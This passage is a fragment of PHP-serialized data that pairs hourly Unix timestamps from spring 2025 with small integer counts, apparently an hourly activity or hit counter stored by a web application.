0;a:1:{i:0;i:18;}i:1745312400;a:1:{i:0;i:10;}i:1745316000;a:1:{i:0;i:13;}i:1745319600;a:1:{i:0;i:14;}i:1745323200;a:1:{i:0;i:13;}i:1745326800;a:1:{i:0;i:7;}i:1745330400;a:1:{i:0;i:2;}i:1745334000;a:1:{i:0;i:11;}i:1745337600;a:1:{i:0;i:7;}i:1745341200;a:1:{i:0;i:2;}i:1745344800;a:1:{i:0;i:2;}i:1745348400;a:1:{i:0;i:3;}i:1745352000;a:1:{i:0;i:6;}i:1745355600;a:1:{i:0;i:2;}i:1745359200;a:1:{i:0;i:6;}i:1745362800;a:1:{i:0;i:9;}i:1745366400;a:1:{i:0;i:4;}i:1745370000;a:1:{i:0;i:16;}i:1745373600;a:1:{i:0;i:6;}i:1745377200;a:1:{i:0;i:1;}i:1745380800;a:1:{i:0;i:2;}i:1745384400;a:1:{i:0;i:2;}i:1745391600;a:1:{i:0;i:6;}i:1745395200;a:1:{i:0;i:12;}i:1745398800;a:1:{i:0;i:9;}i:1745402400;a:1:{i:0;i:12;}i:1745406000;a:1:{i:0;i:14;}i:1745409600;a:1:{i:0;i:12;}i:1745413200;a:1:{i:0;i:11;}i:1745416800;a:1:{i:0;i:18;}i:1745420400;a:1:{i:0;i:9;}i:1745424000;a:1:{i:0;i:15;}i:1745427600;a:1:{i:0;i:3;}i:1745431200;a:1:{i:0;i:15;}i:1745434800;a:1:{i:0;i:5;}i:1745438400;a:1:{i:0;i:1;}i:1745442000;a:1:{i:0;i:9;}i:1745445600;a:1:{i:0;i:1;}i:1745449200;a:1:{i:0;i:6;}i:1745452800;a:1:{i:0;i:1;}i:1745456400;a:1:{i:0;i:3;}i:1745460000;a:1:{i:0;i:1;}i:1745463600;a:1:{i:0;i:15;}i:1745467200;a:1:{i:0;i:15;}i:1745470800;a:1:{i:0;i:10;}i:1745474400;a:1:{i:0;i:18;}i:1745478000;a:1:{i:0;i:13;}i:1745481600;a:1:{i:0;i:16;}i:1745485200;a:1:{i:0;i:24;}i:1745488800;a:1:{i:0;i:24;}i:1745492400;a:1:{i:0;i:10;}i:1745496000;a:1:{i:0;i:28;}i:1745499600;a:1:{i:0;i:25;}i:1745503200;a:1:{i:0;i:20;}i:1745506800;a:1:{i:0;i:9;}i:1745510400;a:1:{i:0;i:21;}i:1745514000;a:1:{i:0;i:12;}i:1745517600;a:1:{i:0;i:22;}i:1745521200;a:1:{i:0;i:25;}i:1745524800;a:1:{i:0;i:13;}i:1745528400;a:1:{i:0;i:24;}i:1745532000;a:1:{i:0;i:23;}i:1745535600;a:1:{i:0;i:12;}i:1745539200;a:1:{i:0;i:24;}i:1745542800;a:1:{i:0;i:15;}i:1745546400;a:1:{i:0;i:22;}i:1745550000;a:1:{i:0;i:25;}i:1745553600;a:1:{i:0;i:7;}i:1745557200;a:1:{i:0;i:24;}i:1745560800;a:1:{i:0;i:8;}i:1745564400;a:1:{i:0;i:20;}i:1745568000;a:1:{i:0;i:9;}i:1745571600;a:1:{i:0;i:25;}i:1745575200;a:1:{i:0;i:11;}i:1745578800;a:1:{i:0;i:22;}i:1745582400;a:1:{i:0;i:13;}i:1745586000;a:1:{i:0;i:11;}i:1745589600;a:1:{i:0;i:13;}i:1745593200;a:1:{i:0;i:12;}i:1745596800;a:1:{i:0;i:13;}i:1745600400;a:1:{i:0;i:5;}i:1745604000;a:1:{i:0;i:16;}i:1745607600;a:1:{i:0;i:2;}i:1745611200;a:1:{i:0;i:18;}i:1745614800;a:1:{i:0;i:23;}i:1745618400;a:1:{i:0;i:11;}i:1745622000;a:1:{i:0;i:24;}i:1745625600;a:1:{i:0;i:23;}i:1745629200;a:1:{i:0;i:11;}i:1745632800;a:1:{i:0;i:18;}i:1745636400;a:1:{i:0;i:13;}i:1745640000;a:1:{i:0;i:20;}i:1745643600;a:1:{i:0;i:14;}i:1745647200;a:1:{i:0;i:12;}i:1745650800;a:1:{i:0;i:21;}i:1745654400;a:1:{i:0;i:9;}i:1745658000;a:1:{i:0;i:24;}i:1745661600;a:1:{i:0;i:27;}i:1745665200;a:1:{i:0;i:8;}i:1745668800;a:1:{i:0;i:22;}i:1745672400;a:1:{i:0;i:11;}i:1745676000;a:1:{i:0;i:18;}i:1745679600;a:1:{i:0;i:11;}i:1745683200;a:1:{i:0;i:18;}i:1745686800;a:1:{i:0;i:9;}i:1745690400;a:1:{i:0;i:21;}i:1745694000;a:1:{i:0;i:17;}i:1745697600;a:1:{i:0;i:1;}i:1745701200;a:1:{i:0;i:15;}i:1745712000;a:1:{i:0;i:8;}i:1745715600;a:1:{i:0;i:9;}i:1745719200;a:1:{i:0;i:5;}i:1745722800;a:1:{i:0;i:8;}i:1745730000;a:1:{i:0;i:12;}i:1745737200;a:1:{i:0;i:15;}i:1745740800;a:1:{i:0;i:8;}i:1745744400;a:1:{i:0;i:16;}i:1745748000;a:1:{i:0;i:8;}i:1745751600;a:1:{i:0;i:23;}i:1745755200;a:1:{i:0;i:8;}i:1745758800;a:1:{i:0;i:19;}i:1745762400;a:1:{i:0;i:3;}i:1745766000;a:1:{i:0;i:4;}i:1745773200;a:1:{i:0;i:9;}i:1745776800;a:1:{i:0;i:7;}i:1745780400;a:1:{i:0;i:2;}i:1745784000;a:1:{i:0;i:9;}i:1745787600;a:1:{i:0;i:7;}i:1745791200;a:1:{i:0;i:9;}i:1745794800;a:1:{i:0;i:1;}i:1745798400;a:1:{i:0;i:9;}i:1745802000;a:1:{i:0;i:2;}i:1745805600;a:1:{i:0;i:9;}i:1745809200;a:1:{i:0;i:1;}i:1745812800;a:1:{i:0;i:9;}i:1745816400;a:1:{i:0;i:3;}i:1745820000;a:1:{i:0;i:9;}i:1745823600;a:1:{i:0;i:10;}i:1745827200;a:1:{i:0;i:12;}i:1745830800;a:1:{i:0;i:1;}i:1745834400;a:1:{i:0;i:11;}i:1745838000;a:1:{i:0;i:2;}i:1745841600;a:1:{i:0;i:2;}i:1745845200;a:1:{i:0;i:4;}i:1745856000;a:1:{i:0;i:1;}i:1745859600;a:1:{i:0;i:1;}i:1745866800;a:1:{i:0;i:2;}i:1745874000;a:1:{i:0;i:1;}i:1745877600;a:1:{i:0;i:1;}i:1745881200;a:1:{i:0;i:1;}i:1745884800;a:1:{i:0;i:2;}i:1745888400;a:1:{i:0;i:3;}i:1745895600;a:1:{i:0;i:3;}i:1745899200;a:1:{i:0;i:1;}i:1745902800;a:1:{i:0;i:2;}i:1745906400;a:1:{i:0;i:5;}i:1745910000;a:1:{i:0;i:7;}i:1745913600;a:1:{i:0;i:4;}i:1745917200;a:1:{i:0;i:2;}i:1745920800;a:1:{i:0;i:3;}i:1745924400;a:1:{i:0;i:10;}i:1745928000;a:1:{i:0;i:3;}i:1745931600;a:1:{i:0;i:3;}i:1745935200;a:1:{i:0;i:6;}i:1745938800;a:1:{i:0;i:1;}i:1745946000;a:1:{i:0;i:1;}i:1745953200;a:1:{i:0;i:15;}i:1745956800;a:1:{i:0;i:2;}i:1745960400;a:1:{i:0;i:2;}i:1745964000;a:1:{i:0;i:11;}i:1745967600;a:1:{i:0;i:2;}i:1745974800;a:1:{i:0;i:9;}i:1745985600;a:1:{i:0;i:10;}i:1745992800;a:1:{i:0;i:3;}i:1745996400;a:1:{i:0;i:3;}i:1746000000;a:1:{i:0;i:16;}i:1746007200;a:1:{i:0;i:1;}i:1746010800;a:1:{i:0;i:15;}i:1746025200;a:1:{i:0;i:17;}i:1746032400;a:1:{i:0;i:2;}i:1746039600;a:1:{i:0;i:16;}i:1746043200;a:1:{i:0;i:13;}i:1746054000;a:1:{i:0;i:14;}i:1746061200;a:1:{i:0;i:4;}i:1746064800;a:1:{i:0;i:1;}i:1746068400;a:1:{i:0;i:13;}i:1746075600;a:1:{i:0;i:1;}i:1746079200;a:1:{i:0;i:1;}i:1746082800;a:1:{i:0;i:14;}i:1746093600;a:1:{i:0;i:2;}i:1746097200;a:1:{i:0;i:12;}i:1746100800;a:1:{i:0;i:14;}i:1746108000;a:1:{i:0;i:25;}i:1746115200;a:1:{i:0;i:20;}i:1746118800;a:1:{i:0;i:191;}i:1746122400;a:1:{i:0;i:391;}i:1746126000;a:1:{i:0;i:385;}i:1746129600;a:1:{i:0;i:334;}i:1746133200;a:1:{i:0;i:210;}i:1746136800;a:1:{i:0;i:2;}i:1746140400;a:1:{i:0;i:13;}i:1746144000;a:1:{i:0;i:2;}i:1746147600;a:1:{i:0;i:16;}i:1746151200;a:1:{i:0;i:12;}i:1746154800;a:1:{i:0;i:2;}i:1746158400;a:1:{i:0;i:39;}i:1746162000;a:1:{i:0;i:56;}i:1746165600;a:1:{i:0;i:46;}i:1746169200;a:1:{i:0;i:52;}i:1746172800;a:1:{i:0;i:27;}i:1746176400;a:1:{i:0;i:41;}i:1746180000;a:1:{i:0;i:46;}i:1746183600;a:1:{i:0;i:33;}i:1746187200;a:1:{i:0;i:35;}i:1746190800;a:1:{i:0;i:39;}i:1746194400;a:1:{i:0;i:41;}i:1746198000;a:1:{i:0;i:24;}i:1746201600;a:1:{i:0;i:39;}i:1746205200;a:1:{i:0;i:36;}i:1746208800;a:1:{i:0;i:20;}i:1746212400;a:1:{i:0;i:64;}i:1746216000;a:1:{i:0;i:22;}i:1746219600;a:1:{i:0;i:21;}i:1746223200;a:1:{i:0;i:24;}i:1746226800;a:1:{i:0;i:26;}i:1746230400;a:1:{i:0;i:23;}i:1746234000;a:1:{i:0;i:19;}i:1746237600;a:1:{i:0;i:21;}i:1746241200;a:1:{i:0;i:23;}i:1746244800;a:1:{i:0;i:32;}i:1746248400;a:1:{i:0;i:18;}i:1746252000;a:1:{i:0;i:23;}i:1746255600;a:1:{i:0;i:2;}i:1746259200;a:1:{i:0;i:7;}i:1746262800;a:1:{i:0;i:15;}i:1746266400;a:1:{i:0;i:3;}i:1746270000;a:1:{i:0;i:6;}i:1746277200;a:1:{i:0;i:25;}i:1746284400;a:1:{i:0;i:2;}i:1746288000;a:1:{i:0;i:8;}i:1746291600;a:1:{i:0;i:2;}i:1746295200;a:1:{i:0;i:26;}i:1746298800;a:1:{i:0;i:8;}i:1746302400;a:1:{i:0;i:12;}i:1746306000;a:1:{i:0;i:5;}i:1746309600;a:1:{i:0;i:11;}i:1746313200;a:1:{i:0;i:13;}i:1746316800;a:1:{i:0;i:4;}i:1746320400;a:1:{i:0;i:1;}i:1746324000;a:1:{i:0;i:10;}i:1746327600;a:1:{i:0;i:16;}i:1746331200;a:1:{i:0;i:12;}i:1746334800;a:1:{i:0;i:1;}i:1746338400;a:1:{i:0;i:12;}i:1746342000;a:1:{i:0;i:6;}i:1746345600;a:1:{i:0;i:27;}i:1746349200;a:1:{i:0;i:1;}i:1746352800;a:1:{i:0;i:10;}i:1746356400;a:1:{i:0;i:1;}i:1746360000;a:1:{i:0;i:19;}i:1746363600;a:1:{i:0;i:1;}i:1746367200;a:1:{i:0;i:2;}i:1746370800;a:1:{i:0;i:9;}i:1746378000;a:1:{i:0;i:20;}i:1746381600;a:1:{i:0;i:1;}i:1746385200;a:1:{i:0;i:4;}i:1746388800;a:1:{i:0;i:22;}i:1746392400;a:1:{i:0;i:4;}i:1746396000;a:1:{i:0;i:27;}i:1746399600;a:1:{i:0;i:2;}i:1746403200;a:1:{i:0;i:13;}i:1746406800;a:1:{i:0;i:2;}i:1746410400;a:1:{i:0;i:30;}i:1746414000;a:1:{i:0;i:2;}i:1746417600;a:1:{i:0;i:2;}i:1746421200;a:1:{i:0;i:10;}i:1746424800;a:1:{i:0;i:2;}i:1746428400;a:1:{i:0;i:24;}i:1746432000;a:1:{i:0;i:1;}i:1746435600;a:1:{i:0;i:1;}i:1746439200;a:1:{i:0;i:12;}i:1746446400;a:1:{i:0;i:20;}i:1746450000;a:1:{i:0;i:5;}i:1746453600;a:1:{i:0;i:15;}i:1746457200;a:1:{i:0;i:10;}i:1746460800;a:1:{i:0;i:12;}i:1746464400;a:1:{i:0;i:32;}i:1746468000;a:1:{i:0;i:3;}i:1746471600;a:1:{i:0;i:2;}i:1746478800;a:1:{i:0;i:12;}i:1746486000;a:1:{i:0;i:1;}i:1746493200;a:1:{i:0;i:1;}i:1746496800;a:1:{i:0;i:16;}i:1746500400;a:1:{i:0;i:6;}i:1746514800;a:1:{i:0;i:11;}i:1746522000;a:1:{i:0;i:12;}i:1746525600;a:1:{i:0;i:1;}i:1746529200;a:1:{i:0;i:1;}i:1746532800;a:1:{i:0;i:15;}i:1746536400;a:1:{i:0;i:1;}i:1746540000;a:1:{i:0;i:5;}i:1746543600;a:1:{i:0;i:2;}i:1746547200;a:1:{i:0;i:2;}i:1746554400;a:1:{i:0;i:1;}i:1746558000;a:1:{i:0;i:3;}i:1746561600;a:1:{i:0;i:2;}i:1746565200;a:1:{i:0;i:1;}i:1746568800;a:1:{i:0;i:2;}i:1746572400;a:1:{i:0;i:1;}i:1746579600;a:1:{i:0;i:2;}i:1746583200;a:1:{i:0;i:3;}i:1746586800;a:1:{i:0;i:17;}i:1746590400;a:1:{i:0;i:6;}i:1746594000;a:1:{i:0;i:3;}i:1746597600;a:1:{i:0;i:2;}i:1746601200;a:1:{i:0;i:6;}i:1746604800;a:1:{i:0;i:14;}i:1746608400;a:1:{i:0;i:9;}i:1746612000;a:1:{i:0;i:6;}i:1746615600;a:1:{i:0;i:6;}i:1746619200;a:1:{i:0;i:3;}i:1746622800;a:1:{i:0;i:4;}i:1746626400;a:1:{i:0;i:4;}i:1746630000;a:1:{i:0;i:4;}i:1746633600;a:1:{i:0;i:5;}i:1746637200;a:1:{i:0;i:5;}i:1746640800;a:1:{i:0;i:8;}i:1746644400;a:1:{i:0;i:7;}i:1746648000;a:1:{i:0;i:5;}i:1746651600;a:1:{i:0;i:4;}i:1746655200;a:1:{i:0;i:4;}i:1746658800;a:1:{i:0;i:7;}i:1746662400;a:1:{i:0;i:11;}i:1746666000;a:1:{i:0;i:4;}i:1746669600;a:1:{i:0;i:4;}i:1746673200;a:1:{i:0;i:4;}i:1746676800;a:1:{i:0;i:2;}i:1746680400;a:1:{i:0;i:4;}i:1746684000;a:1:{i:0;i:4;}i:1746687600;a:1:{i:0;i:4;}i:1746691200;a:1:{i:0;i:5;}i:1746694800;a:1:{i:0;i:3;}i:1746698400;a:1:{i:0;i:3;}i:1746702000;a:1:{i:0;i:3;}i:1746705600;a:1:{i:0;i:3;}i:1746709200;a:1:{i:0;i:3;}i:1746712800;a:1:{i:0;i:3;}i:1746716400;a:1:{i:0;i:3;}i:1746720000;a:1:{i:0;i:5;}i:1746723600;a:1:{i:0;i:3;}i:1746727200;a:1:{i:0;i:2;}i:1746730800;a:1:{i:0;i:4;}i:1746734400;a:1:{i:0;i:3;}i:1746738000;a:1:{i:0;i:11;}i:1746741600;a:1:{i:0;i:3;}i:1746745200;a:1:{i:0;i:4;}i:1746748800;a:1:{i:0;i:2;}i:1746752400;a:1:{i:0;i:4;}i:1746756000;a:1:{i:0;i:6;}i:1746759600;a:1:{i:0;i:4;}i:1746763200;a:1:{i:0;i:4;}i:1746766800;a:1:{i:0;i:14;}i:1746770400;a:1:{i:0;i:3;}i:1746774000;a:1:{i:0;i:5;}i:1746777600;a:1:{i:0;i:3;}i:1746781200;a:1:{i:0;i:4;}i:1746784800;a:1:{i:0;i:3;}i:1746788400;a:1:{i:0;i:4;}i:1746792000;a:1:{i:0;i:7;}i:1746795600;a:1:{i:0;i:8;}i:1746799200;a:1:{i:0;i:4;}i:1746802800;a:1:{i:0;i:3;}i:1746806400;a:1:{i:0;i:4;}i:1746810000;a:1:{i:0;i:2;}i:1746813600;a:1:{i:0;i:3;}i:1746817200;a:1:{i:0;i:4;}i:1746820800;a:1:{i:0;i:3;}i:1746824400;a:1:{i:0;i:2;}i:1746828000;a:1:{i:0;i:3;}i:1746831600;a:1:{i:0;i:3;}i:1746835200;a:1:{i:0;i:2;}i:1746838800;a:1:{i:0;i:3;}i:1746842400;a:1:{i:0;i:8;}i:1746846000;a:1:{i:0;i:8;}i:1746849600;a:1:{i:0;i:11;}i:1746853200;a:1:{i:0;i:8;}i:1746856800;a:1:{i:0;i:7;}i:1746860400;a:1:{i:0;i:7;}i:1746864000;a:1:{i:0;i:9;}i:1746867600;a:1:{i:0;i:9;}i:1746871200;a:1:{i:0;i:8;}i:1746874800;a:1:{i:0;i:10;}i:1746878400;a:1:{i:0;i:18;}i:1746882000;a:1:{i:0;i:14;}i:1746885600;a:1:{i:0;i:9;}i:1746889200;a:1:{i:0;i:9;}i:1746892800;a:1:{i:0;i:12;}i:1746896400;a:1:{i:0;i:9;}i:1746900000;a:1:{i:0;i:9;}i:1746903600;a:1:{i:0;i:12;}i:1746907200;a:1:{i:0;i:10;}i:1746910800;a:1:{i:0;i:13;}i:1746914400;a:1:{i:0;i:13;}i:1746918000;a:1:{i:0;i:13;}i:1746921600;a:1:{i:0;i:9;}i:1746943200;a:1:{i:0;i:7;}i:1746946800;a:1:{i:0;i:12;}i:1746950400;a:1:{i:0;i:10;}i:1746954000;a:1:{i:0;i:11;}i:1746957600;a:1:{i:0;i:15;}i:1746961200;a:1:{i:0;i:11;}i:1746964800;a:1:{i:0;i:10;}i:1746968400;a:1:{i:0;i:7;}i:1746972000;a:1:{i:0;i:5;}i:1746975600;a:1:{i:0;i:4;}i:1746979200;a:1:{i:0;i:2;}i:1746982800;a:1:{i:0;i:4;}i:1746986400;a:1:{i:0;i:4;}i:1746990000;a:1:{i:0;i:3;}i:1746993600;a:1:{i:0;i:4;}i:1746997200;a:1:{i:0;i:4;}i:1747000800;a:1:{i:0;i:3;}i:1747004400;a:1:{i:0;i:3;}i:1747008000;a:1:{i:0;i:3;}i:1747011600;a:1:{i:0;i:2;}i:1747015200;a:1:{i:0;i:6;}i:1747018800;a:1:{i:0;i:14;}i:1747022400;a:1:{i:0;i:12;}i:1747026000;a:1:{i:0;i:14;}i:1747029600;a:1:{i:0;i:14;}i:1747033200;a:1:{i:0;i:14;}i:1747036800;a:1:{i:0;i:13;}i:1747040400;a:1:{i:0;i:11;}i:1747044000;a:1:{i:0;i:11;}i:1747047600;a:1:{i:0;i:9;}i:1747051200;a:1:{i:0;i:10;}i:1747054800;a:1:{i:0;i:3;}i:1747058400;a:1:{i:0;i:2;}i:1747062000;a:1:{i:0;i:6;}i:1747065600;a:1:{i:0;i:2;}i:1747069200;a:1:{i:0;i:2;}i:1747072800;a:1:{i:0;i:3;}i:1747076400;a:1:{i:0;i:2;}i:1747080000;a:1:{i:0;i:13;}i:1747083600;a:1:{i:0;i:8;}i:1747087200;a:1:{i:0;i:4;}i:1747090800;a:1:{i:0;i:3;}i:1747094400;a:1:{i:0;i:2;}i:1747098000;a:1:{i:0;i:6;}i:1747101600;a:1:{i:0;i:4;}i:1747105200;a:1:{i:0;i:6;}i:1747108800;a:1:{i:0;i:2;}i:1747112400;a:1:{i:0;i:5;}i:1747116000;a:1:{i:0;i:2;}i:1747119600;a:1:{i:0;i:2;}i:1747123200;a:1:{i:0;i:3;}i:1747126800;a:1:{i:0;i:2;}i:1747130400;a:1:{i:0;i:2;}i:1747134000;a:1:{i:0;i:3;}i:1747137600;a:1:{i:0;i:2;}i:1747141200;a:1:{i:0;i:3;}i:1747144800;a:1:{i:0;i:2;}i:1747148400;a:1:{i:0;i:4;}i:1747152000;a:1:{i:0;i:3;}i:1747155600;a:1:{i:0;i:16;}i:1747159200;a:1:{i:0;i:6;}i:1747162800;a:1:{i:0;i:3;}i:1747166400;a:1:{i:0;i:2;}i:1747170000;a:1:{i:0;i:3;}i:1747173600;a:1:{i:0;i:5;}i:1747177200;a:1:{i:0;i:4;}i:1747180800;a:1:{i:0;i:3;}i:1747184400;a:1:{i:0;i:4;}i:1747188000;a:1:{i:0;i:12;}i:1747191600;a:1:{i:0;i:18;}i:1747195200;a:1:{i:0;i:13;}i:1747198800;a:1:{i:0;i:13;}i:1747202400;a:1:{i:0;i:13;}i:1747206000;a:1:{i:0;i:12;}i:1747209600;a:1:{i:0;i:12;}i:1747213200;a:1:{i:0;i:16;}i:1747216800;a:1:{i:0;i:13;}i:1747220400;a:1:{i:0;i:14;}i:1747224000;a:1:{i:0;i:16;}i:1747227600;a:1:{i:0;i:14;}i:1747231200;a:1:{i:0;i:7;}i:1747234800;a:1:{i:0;i:8;}i:1747238400;a:1:{i:0;i:8;}i:1747242000;a:1:{i:0;i:3;}i:1747245600;a:1:{i:0;i:5;}i:1747249200;a:1:{i:0;i:6;}i:1747252800;a:1:{i:0;i:3;}i:1747256400;a:1:{i:0;i:5;}i:1747260000;a:1:{i:0;i:2;}i:1747263600;a:1:{i:0;i:4;}i:1747267200;a:1:{i:0;i:7;}i:1747270800;a:1:{i:0;i:11;}i:1747274400;a:1:{i:0;i:10;}i:1747278000;a:1:{i:0;i:10;}i:1747281600;a:1:{i:0;i:10;}i:1747285200;a:1:{i:0;i:8;}i:1747288800;a:1:{i:0;i:6;}i:1747292400;a:1:{i:0;i:10;}i:1747296000;a:1:{i:0;i:7;}i:1747299600;a:1:{i:0;i:8;}i:1747303200;a:1:{i:0;i:7;}i:1747306800;a:1:{i:0;i:8;}i:1747310400;a:1:{i:0;i:9;}i:1747314000;a:1:{i:0;i:12;}i:1747317600;a:1:{i:0;i:8;}i:1747321200;a:1:{i:0;i:7;}i:1747324800;a:1:{i:0;i:7;}i:1747328400;a:1:{i:0;i:7;}i:1747332000;a:1:{i:0;i:6;}i:1747335600;a:1:{i:0;i:6;}i:1747339200;a:1:{i:0;i:7;}i:1747342800;a:1:{i:0;i:6;}i:1747346400;a:1:{i:0;i:5;}i:1747350000;a:1:{i:0;i:4;}i:1747353600;a:1:{i:0;i:8;}i:1747357200;a:1:{i:0;i:6;}i:1747360800;a:1:{i:0;i:5;}i:1747364400;a:1:{i:0;i:8;}i:1747368000;a:1:{i:0;i:5;}i:1747371600;a:1:{i:0;i:7;}i:1747375200;a:1:{i:0;i:6;}i:1747378800;a:1:{i:0;i:3;}i:1747382400;a:1:{i:0;i:8;}i:1747386000;a:1:{i:0;i:7;}i:1747389600;a:1:{i:0;i:2;}i:1747393200;a:1:{i:0;i:3;}i:1747396800;a:1:{i:0;i:4;}i:1747400400;a:1:{i:0;i:6;}i:1747404000;a:1:{i:0;i:5;}i:1747407600;a:1:{i:0;i:12;}i:1747411200;a:1:{i:0;i:7;}i:1747414800;a:1:{i:0;i:7;}i:1747418400;a:1:{i:0;i:7;}i:1747422000;a:1:{i:0;i:7;}i:1747425600;a:1:{i:0;i:5;}i:1747429200;a:1:{i:0;i:7;}i:1747432800;a:1:{i:0;i:6;}i:1747436400;a:1:{i:0;i:7;}i:1747440000;a:1:{i:0;i:7;}i:1747443600;a:1:{i:0;i:6;}i:1747447200;a:1:{i:0;i:6;}i:1747450800;a:1:{i:0;i:7;}i:1747454400;a:1:{i:0;i:8;}i:1747458000;a:1:{i:0;i:7;}i:1747461600;a:1:{i:0;i:3;}i:1747465200;a:1:{i:0;i:2;}i:1747468800;a:1:{i:0;i:1;}i:1747472400;a:1:{i:0;i:1;}i:1747476000;a:1:{i:0;i:1;}i:1747479600;a:1:{i:0;i:2;}i:1747483200;a:1:{i:0;i:3;}i:1747486800;a:1:{i:0;i:10;}i:1747490400;a:1:{i:0;i:4;}i:1747494000;a:1:{i:0;i:2;}i:1747497600;a:1:{i:0;i:2;}i:1747501200;a:1:{i:0;i:1;}i:1747504800;a:1:{i:0;i:2;}i:1747508400;a:1:{i:0;i:2;}i:1747512000;a:1:{i:0;i:2;}i:1747515600;a:1:{i:0;i:1;}i:1747519200;a:1:{i:0;i:6;}i:1747522800;a:1:{i:0;i:5;}i:1747526400;a:1:{i:0;i:4;}i:1747530000;a:1:{i:0;i:5;}i:1747533600;a:1:{i:0;i:4;}i:1747537200;a:1:{i:0;i:3;}i:1747540800;a:1:{i:0;i:5;}i:1747544400;a:1:{i:0;i:6;}i:1747548000;a:1:{i:0;i:15;}i:1747551600;a:1:{i:0;i:13;}i:1747555200;a:1:{i:0;i:12;}i:1747558800;a:1:{i:0;i:11;}i:1747562400;a:1:{i:0;i:3;}i:1747566000;a:1:{i:0;i:6;}i:1747569600;a:1:{i:0;i:5;}i:1747573200;a:1:{i:0;i:5;}i:1747576800;a:1:{i:0;i:3;}i:1747580400;a:1:{i:0;i:6;}i:1747584000;a:1:{i:0;i:12;}i:1747587600;a:1:{i:0;i:7;}i:1747591200;a:1:{i:0;i:12;}i:1747594800;a:1:{i:0;i:4;}i:1747598400;a:1:{i:0;i:6;}i:1747602000;a:1:{i:0;i:4;}i:1747605600;a:1:{i:0;i:15;}i:1747609200;a:1:{i:0;i:10;}i:1747612800;a:1:{i:0;i:3;}i:1747616400;a:1:{i:0;i:4;}i:1747620000;a:1:{i:0;i:8;}i:1747623600;a:1:{i:0;i:5;}i:1747627200;a:1:{i:0;i:4;}i:1747630800;a:1:{i:0;i:7;}i:1747634400;a:1:{i:0;i:9;}i:1747638000;a:1:{i:0;i:4;}i:1747641600;a:1:{i:0;i:6;}i:1747645200;a:1:{i:0;i:9;}i:1747648800;a:1:{i:0;i:11;}i:1747652400;a:1:{i:0;i:8;}i:1747656000;a:1:{i:0;i:10;}i:1747659600;a:1:{i:0;i:11;}i:1747663200;a:1:{i:0;i:8;}i:1747666800;a:1:{i:0;i:11;}i:1747670400;a:1:{i:0;i:10;}i:1747674000;a:1:{i:0;i:10;}i:1747677600;a:1:{i:0;i:11;}i:1747681200;a:1:{i:0;i:13;}i:1747684800;a:1:{i:0;i:14;}i:1747688400;a:1:{i:0;i:11;}i:1747692000;a:1:{i:0;i:11;}i:1747695600;a:1:{i:0;i:9;}i:1747699200;a:1:{i:0;i:12;}i:1747702800;a:1:{i:0;i:12;}i:1747706400;a:1:{i:0;i:11;}i:1747710000;a:1:{i:0;i:12;}i:1747713600;a:1:{i:0;i:11;}i:1747717200;a:1:{i:0;i:11;}i:1747720800;a:1:{i:0;i:11;}i:1747724400;a:1:{i:0;i:25;}i:1747728000;a:1:{i:0;i:11;}i:1747731600;a:1:{i:0;i:11;}i:1747735200;a:1:{i:0;i:10;}i:1747738800;a:1:{i:0;i:11;}i:1747742400;a:1:{i:0;i:11;}i:1747746000;a:1:{i:0;i:8;}i:1747749600;a:1:{i:0;i:6;}i:1747753200;a:1:{i:0;i:3;}i:1747756800;a:1:{i:0;i:3;}i:1747760400;a:1:{i:0;i:3;}i:1747764000;a:1:{i:0;i:3;}i:1747767600;a:1:{i:0;i:3;}i:1747771200;a:1:{i:0;i:6;}i:1747774800;a:1:{i:0;i:2;}i:1747782000;a:1:{i:0;i:1;}i:1747785600;a:1:{i:0;i:1;}i:1747789200;a:1:{i:0;i:2;}i:1747792800;a:1:{i:0;i:6;}i:1747796400;a:1:{i:0;i:4;}i:1747800000;a:1:{i:0;i:3;}i:1747803600;a:1:{i:0;i:3;}i:1747807200;a:1:{i:0;i:1;}i:1747810800;a:1:{i:0;i:2;}i:1747814400;a:1:{i:0;i:2;}i:1747818000;a:1:{i:0;i:2;}i:1747821600;a:1:{i:0;i:1;}i:1747825200;a:1:{i:0;i:1;}i:1747828800;a:1:{i:0;i:2;}i:1747836000;a:1:{i:0;i:21;}i:1747839600;a:1:{i:0;i:10;}i:1747843200;a:1:{i:0;i:1;}i:1747846800;a:1:{i:0;i:15;}i:1747850400;a:1:{i:0;i:2;}i:1747854000;a:1:{i:0;i:11;}i:1747861200;a:1:{i:0;i:15;}i:1747868400;a:1:{i:0;i:18;}i:1747872000;a:1:{i:0;i:21;}i:1747875600;a:1:{i:0;i:7;}i:1747879200;a:1:{i:0;i:1;}i:1747882800;a:1:{i:0;i:1;}i:1747886400;a:1:{i:0;i:10;}i:1747890000;a:1:{i:0;i:3;}i:1747897200;a:1:{i:0;i:10;}i:1747900800;a:1:{i:0;i:1;}i:1747904400;a:1:{i:0;i:8;}i:1747908000;a:1:{i:0;i:1;}i:1747911600;a:1:{i:0;i:12;}i:1747915200;a:1:{i:0;i:2;}i:1747922400;a:1:{i:0;i:9;}i:1747929600;a:1:{i:0;i:3;}i:1747933200;a:1:{i:0;i:8;}i:1747936800;a:1:{i:0;i:2;}i:1747940400;a:1:{i:0;i:2;}i:1747944000;a:1:{i:0;i:12;}i:1747947600;a:1:{i:0;i:4;}i:1747951200;a:1:{i:0;i:1;}i:1747954800;a:1:{i:0;i:11;}i:1747958400;a:1:{i:0;i:13;}i:1747962000;a:1:{i:0;i:12;}i:1747969200;a:1:{i:0;i:1;}i:1747972800;a:1:{i:0;i:7;}i:1747980000;a:1:{i:0;i:9;}i:1747983600;a:1:{i:0;i:1;}i:1747987200;a:1:{i:0;i:5;}i:1747990800;a:1:{i:0;i:17;}i:1747994400;a:1:{i:0;i:7;}i:1747998000;a:1:{i:0;i:7;}i:1748001600;a:1:{i:0;i:24;}i:1748005200;a:1:{i:0;i:8;}i:1748008800;a:1:{i:0;i:8;}i:1748012400;a:1:{i:0;i:26;}i:1748016000;a:1:{i:0;i:18;}i:1748019600;a:1:{i:0;i:7;}i:1748023200;a:1:{i:0;i:7;}i:1748026800;a:1:{i:0;i:19;}i:1748030400;a:1:{i:0;i:9;}i:1748034000;a:1:{i:0;i:9;}i:1748037600;a:1:{i:0;i:17;}i:1748041200;a:1:{i:0;i:11;}i:1748044800;a:1:{i:0;i:9;}i:1748048400;a:1:{i:0;i:8;}i:1748052000;a:1:{i:0;i:17;}i:1748055600;a:1:{i:0;i:8;}i:1748059200;a:1:{i:0;i:9;}i:1748062800;a:1:{i:0;i:18;}i:1748066400;a:1:{i:0;i:11;}i:1748070000;a:1:{i:0;i:488;}i:1748073600;a:1:{i:0;i:638;}i:1748077200;a:1:{i:0;i:373;}i:1748080800;a:1:{i:0;i:639;}i:1748084400;a:1:{i:0;i:528;}i:1748088000;a:1: